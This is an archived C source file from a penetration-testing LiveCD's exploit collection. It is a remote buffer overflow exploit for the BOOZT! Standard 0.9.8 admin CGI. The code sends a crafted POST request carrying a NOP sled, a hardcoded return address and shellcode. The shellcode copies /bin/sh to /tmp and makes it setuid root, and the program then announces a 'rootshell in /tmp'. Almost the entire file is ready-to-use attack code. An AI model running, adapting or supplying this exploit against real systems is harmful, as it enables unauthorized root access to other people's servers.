home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webapp / boozt / booztbof.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  131 lines

  1. /* -----------------------------------------
  2.  
  3.         BOOZT! Standard 0.9.8 CGI vulnerability exploit
  4.  
  5.         Rafael San Miguel Carrasco
  6.  
  7.         rsanmcar@alum.uax.es
  8.  
  9.    -----------------------------------------  */
  10.  
  11.  
  12. #include <netinet/in.h>
  13. #define PORT 8080
  14. #define BUFLEN 1597
  15. #define RET 0xbffff297
  16. #define NOP 0x90
  17.  
  18. int main (int argc, char **argv) {
  19.  
  20.         int sockfd, i, cont;
  21.         struct sockaddr_in dest;
  22.         int html_len = 15;
  23.         char cgicontent[2048];
  24.         char buf[BUFLEN];
  25.  
  26.         char shellcode[]=
  27.                
  28. "\x29\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x02\xeb\x05\x29\xc0\x40\xcd\x80\x29\xc0\x29\xdb\x29\xc9"
  29.                
  30. "\xb0\x46\xcd\x80\xeb\x2a\x5e\x89\x76\x32\x8d\x5e\x08\x89\x5e\x36\x8d\x5e\x0b\x89\x5e\x3a\x29"
  31.                
  32. "\xc0\x88\x46\x07\x88\x46\x0a\x88\x46\x31\x89\x46\x3e\x87\xf3\xb0\x0b\x8d\x4b\x32\x8d\x53\x3e"
  33.                
  34. "\xcd\x80\xe8\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x63\x20\x63\x70\x20\x2f\x62\x69\x6e"
  35.                
  36. "\x2f\x73\x68\x20\x2f\x74\x6d\x70\x2f\x73\x68\x3b\x20\x63\x68\x6d\x6f\x64\x20\x34\x37\x35\x35\x20"
  37.                 "\x2f\x74\x6d\x70\x2f\x73\x68";
  38.  
  39.         char *html[15] = {
  40.                 "POST /cgi-bin/boozt/admin/index.cgi HTTP/1.0\n",
  41.                 "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
  42. */*\n",
  43.                 "Referer:
  44. http://10.0.0.1:8080/cgi-bin/boozt/admin/index.cgi?section=5&input=1\n",
  45.                 "Accept-Language: es, en\n",
  46.                 "Content-Type: application/x-www-form-urlencoded\n",
  47.                 "UA-pixels: 640x480\n",
  48.                 "UA-color: color8\n",
  49.                 "UA-OS: Windows 95\n",
  50.                 "UA-CPU: x86\n",
  51.                 "User-Agent: Mozilla/2.0 (compatible; MSIE 3.0; Windows 95)\n",
  52.                 "Host: 10.0.0.1:8080\n",
  53.                 "Connection: Keep-Alive\n",
  54.                 "Content-Length: 1776\n",
  55.                 "Pragma: No-Cache\n",
  56.                 "\n",
  57.         };
  58.  
  59.         if (argc < 2) {
  60.                 printf ("usage: %s <IP>\n", argv[0]);
  61.                 exit (-1);
  62.         }
  63.  
  64.         printf ("----------\n");
  65.         printf (" BOOZT! Standard exploit\n");
  66.         printf ("----------\n");
  67.         printf ("Rafael San Miguel Carrasco (_kiss_)\n");
  68.         printf ("rsanmcar@alum.uax.es\n");
  69.         printf ("----------\n");
  70.  
  71.         for (i = 0; i < BUFLEN; i+=4)
  72.                 *( (long *) &buf[i]) = RET;
  73.  
  74.         for (i = 0; i < (BUFLEN - 16); i++)
  75.                 buf[i] = NOP;
  76.  
  77.  
  78.         cont = 0;
  79.  
  80.         for (i = (BUFLEN - strlen (shellcode) - 16); i < (BUFLEN - 16); i++)
  81.                 buf[i] = shellcode [cont++];
  82.  
  83.         strcpy (cgicontent, "name=");
  84.         strncat (cgicontent, buf, sizeof (buf));
  85.         strcat (cgicontent,
  86. "&target=&alt_text=&id_size=1&type=image&source=&source_path=Browse...&source_flash=&source_flash_path=Browse...&script_name=&input=
  87. 1§ion=5&sent=1&submit=Create+New+Banner");
  88.  
  89.         printf ("connecting ...\n");
  90.  
  91.         if ( (sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0) {
  92.                 perror ("socket");
  93.                 exit (-1);
  94.         }
  95.  
  96.         bzero (&dest, sizeof (dest));
  97.         dest.sin_family = AF_INET;
  98.         dest.sin_port = htons (PORT);
  99.         dest.sin_addr.s_addr = inet_addr (argv[1]);
  100.  
  101.         if (connect (sockfd, &dest, sizeof (dest)) < 0) {
  102.                 perror ("connect");
  103.                 exit (-1);
  104.         }
  105.  
  106.         printf ("connected. sending buffer ...\n");
  107.  
  108.         for (i = 0; i < html_len; i++) {
  109.  
  110.                 if (write (sockfd, html[i], strlen(html[i])) < strlen(html[i]))
  111. {
  112.                         perror ("write");
  113.                         exit (-1);
  114.                 }
  115.         }
  116.  
  117.         if (write (sockfd, cgicontent, strlen(cgicontent)) < strlen(cgicontent))
  118. {
  119.                 perror ("write cgicontent");
  120.                 exit (-1);
  121.         }
  122.  
  123.         if (close (sockfd) < 0) {
  124.                 perror ("close");
  125.                 exit (-1);
  126.         }
  127.  
  128.         printf ("there should be a rootshell in /tmp.\n\n");
  129.  
  130.         return 0;
  131. }